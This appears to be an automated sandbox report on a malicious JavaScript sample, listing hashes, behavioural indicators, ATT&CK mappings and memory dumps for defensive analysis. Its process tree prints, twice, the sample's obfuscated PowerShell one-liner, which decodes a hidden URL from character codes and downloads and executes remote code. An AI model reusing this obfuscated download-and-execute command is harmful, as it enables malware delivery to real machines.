d92105ba5cbf0e90067b00a7e6f3d36eb7256a3f51f470537e0bb4ed580ff95d

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-12-2024 14:46

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General

Target

58d2ea56a85fad81a1b5543e20e7826da61eb3d072f377c11680bd0dd1c66ceb.js
Size

190KB
MD5

5449ab81b9c38bd9e818e49d3d1ba9da
SHA1

55c5c94e4f854f0b72135a77a22555c610346327
SHA256

58d2ea56a85fad81a1b5543e20e7826da61eb3d072f377c11680bd0dd1c66ceb
SHA512

5cd65746307ac1a75f967a6dd20fb44a4d0c38a0b00efea07447a2f1ca80e4cc9dff66aebc3d581081cf797101920e45b92a9f260736c80506b386144a4a5da4
SSDEEP

1536:nwQIAIb7UK/O1lTykbJlvdFDSPYfaUIb7UK/O1laykbJlvdFDSPYfaHykbJlvdF1:nd7JRfSJRuJR0qV

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5000	3248	conhost.exe	83

Blocklisted process makes network request 1 IoCs

flow	pid	Process
9	3632	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3632	powershell.exe
3632	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3632	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 5000 wrote to memory of 3632	5000	conhost.exe	85
PID 5000 wrote to memory of 3632	5000	conhost.exe	85

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\58d2ea56a85fad81a1b5543e20e7826da61eb3d072f377c11680bd0dd1c66ceb.js
1⤵
PID:3968

C:\Windows\system32\conhost.exe
conhost --headless powershell $zkaiegwcryp='ur' ;new-alias printout c$($zkaiegwcryp)l;$wgfoxtdaivjq=(7556,7567,7575,7559,7561,7556,7576,7575,7580,7513,7575,7509,7556,7504,7574,7569,7570,7505,7507,7504,7570,7562,7570,7521,7573,7519,7567,7563,7568,7574,7573,7508,7507);$advueczkxlobt=('bronx','get-cmdlet');$ixghdolsfaw=$wgfoxtdaivjq;foreach($euriqltmvg in $ixghdolsfaw){$jtqyvf=$euriqltmvg;$ebyxfuwgva=$ebyxfuwgva+[char]($jtqyvf-7458);$oysujmzain=$ebyxfuwgva; $cyzqugwxpt=$oysujmzain};$bgcxkq[2]=$cyzqugwxpt;$myruxivbf='rl';$fpsiyoakdqezg=1;.$([char](9992-9887)+'e'+'x')(printout -useb $cyzqugwxpt)
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:5000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $zkaiegwcryp='ur' ;new-alias printout c$($zkaiegwcryp)l;$wgfoxtdaivjq=(7556,7567,7575,7559,7561,7556,7576,7575,7580,7513,7575,7509,7556,7504,7574,7569,7570,7505,7507,7504,7570,7562,7570,7521,7573,7519,7567,7563,7568,7574,7573,7508,7507);$advueczkxlobt=('bronx','get-cmdlet');$ixghdolsfaw=$wgfoxtdaivjq;foreach($euriqltmvg in $ixghdolsfaw){$jtqyvf=$euriqltmvg;$ebyxfuwgva=$ebyxfuwgva+[char]($jtqyvf-7458);$oysujmzain=$ebyxfuwgva; $cyzqugwxpt=$oysujmzain};$bgcxkq[2]=$cyzqugwxpt;$myruxivbf='rl';$fpsiyoakdqezg=1;.$([char](9992-9887)+'e'+'x')(printout -useb $cyzqugwxpt)
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3632

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wkxovdc0.rzr.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3632-0-0x00007FFA81943000-0x00007FFA81945000-memory.dmp

Filesize
8KB

Download
memory/3632-1-0x000001FF7BDE0000-0x000001FF7BE02000-memory.dmp

Filesize
136KB

Download
memory/3632-11-0x00007FFA81940000-0x00007FFA82401000-memory.dmp

Filesize
10.8MB

Download
memory/3632-12-0x00007FFA81940000-0x00007FFA82401000-memory.dmp

Filesize
10.8MB

Download
memory/3632-13-0x00007FFA81940000-0x00007FFA82401000-memory.dmp

Filesize
10.8MB

Download
memory/3632-14-0x00007FFA81940000-0x00007FFA82401000-memory.dmp

Filesize
10.8MB

Download
memory/3632-15-0x00007FFA81940000-0x00007FFA82401000-memory.dmp

Filesize
10.8MB

Download
memory/3632-18-0x00007FFA81940000-0x00007FFA82401000-memory.dmp

Filesize
10.8MB

Download